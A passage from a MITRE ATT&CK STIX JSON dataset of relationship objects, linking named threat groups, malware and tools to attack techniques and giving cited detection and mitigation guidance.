2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc6b3d5d-f77d-4c83-b484-1f2516133950","type":"relationship","created":"2021-12-06T16:10:28.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"modified":"2021-12-10T14:54:00.785Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.(Citation: US-CERT TA18-074A)(Citation: CISA AA20-296A Berserk Bear December 2020)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc6e0159-1216-4ca5-ac5c-55e961878785","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.914Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc6ec5e1-19ac-44b5-9056-79893cef3a15","created":"2024-09-04T17:22:38.378Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:22:38.378Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can create HTA files to install Grunt listeners.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc705bf0-ba29-443e-9cd5-aef247505210","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.632Z","description":"[APT3](https://attack.mitre.org/groups/G0022) places scripts in the startup folder for persistence.(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc7193f4-c16a-4c1b-8605-0517de8947f9","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for established network communications with anomalous IPs that have never been seen before in the environment that may indicate the download of malicious code.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc783e55-3b37-45df-89a8-ec098a2ccea2","created":"2020-03-13T14:10:43.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Vulnerability and Exploit Detector","description":"Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.","url":"https://skanthak.homepage.t-online.de/sentinel.html"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft Dynamic-Link Library Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:57.061Z","description":"Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1","type":"relationship","created":"2019-01-30T17:33:40.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:26:10.871Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:36:00.218Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) malware including RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc7f6dcb-dae0-401b-ba21-158c040c717e","type":"relationship","created":"2021-11-23T15:26:58.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.525Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can register itself as a system service to gain persistence.(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc81f8f0-111c-4932-bc75-7704eaf17f73","type":"relationship","created":"2020-12-01T15:19:53.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T15:19:53.657Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can identify administrator accounts on an infected host.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc831c63-94af-4937-b8e6-668591ec7d04","type":"relationship","created":"2017-05-31T21:33:27.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bizeul 2014","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/"}],"modified":"2020-03-16T18:54:08.832Z","description":"(Citation: Bizeul 2014)","relationship_type":"uses","source_ref":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc8960a5-6864-458f-bd1a-1efcc355402f","created":"2024-08-05T21:39:31.963Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:39:31.963Z","description":"Audit user accounts to ensure that each one has a defined purpose. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc99be16-89cc-427a-b348-2236add3d816","type":"relationship","created":"2019-10-11T16:14:20.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2019-10-11T16:14:20.334Z","description":"(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--065196de-d7e8-4888-acfb-b2134022ba1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc9ea395-767a-42df-9618-c685478a4a3d","created":"2024-07-25T17:33:06.067Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:33:06.067Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) created a local account on victim machines to maintain access.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cc9ffcec-db79-4913-91ae-ffd5cec643f7","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.845Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can download files off the target system to send back to the server.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cca0aac6-bdc2-48da-9b95-c24e41f5a116","created":"2022-06-15T14:57:55.564Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has enumerated processes on targeted systems.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-15T14:57:55.564Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cca0dc19-ea37-4502-b2d4-7ce09f07be72","created":"2022-05-05T15:52:48.109Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use various Windows API functions to perform tasks.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T21:57:55.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cca1289f-accd-4fbe-902c-b99c6200e707","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T21:07:43.608Z","description":"Monitor for abnormal DLLs that are loaded by `spoolsv.exe`. Print processors that do not correlate with known good software or patching may be suspicious. New print processor DLLs are written to the print processor directory.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--cca195e2-b748-4881-b2bf-e6b3b993b460","created":"2019-05-24T17:02:44.393Z","x_mitre_version":"1.0","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used `regsvr32.exe` to trigger the execution of a malicious script.(Citation: Lab52 WIRTE Apr 2019)","modified":"2022-04-15T17:04:28.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cca451aa-d4ca-4697-ac64-745841fb8658","created":"2021-07-20T02:09:39.922Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"win10_asr","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021.","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T18:40:56.819Z","description":"On Windows 10+, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated payloads. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cca578fe-fe2d-44ef-bc55-9518f83f1443","type":"relationship","created":"2020-12-28T22:09:15.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.743Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can download additional payloads from the C2.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cca64a18-4601-4169-9a8e-63036403940f","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"},{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.615Z","description":"[Calisto](https://attack.mitre.org/software/S0274) uses the zip -r command to compress the data collected on the local system.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccac8e9d-0c3d-45b0-b536-b722ca978826","created":"2023-03-23T19:07:39.188Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T19:07:39.188Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used [RegDuke](https://attack.mitre.org/software/S0511) as a first-stage implant.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"malware--47124daf-44be-4530-9c63-038bc64318dd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccb19fb9-7c27-4941-b383-62386a4a6429","created":"2024-02-08T01:10:24.494Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T01:10:24.494Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) decodes configuration items from a bundled file for command and control activity.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.265Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given filename on a victim.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb80607-a8bf-4e6b-a3e3-1755cd317552","type":"relationship","created":"2021-04-08T15:24:43.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."}],"modified":"2021-04-08T17:35:15.896Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has named malicious files rekeywiz.exe to match the name of a legitimate Windows executable.(Citation: Rewterz Sidewinder COVID-19 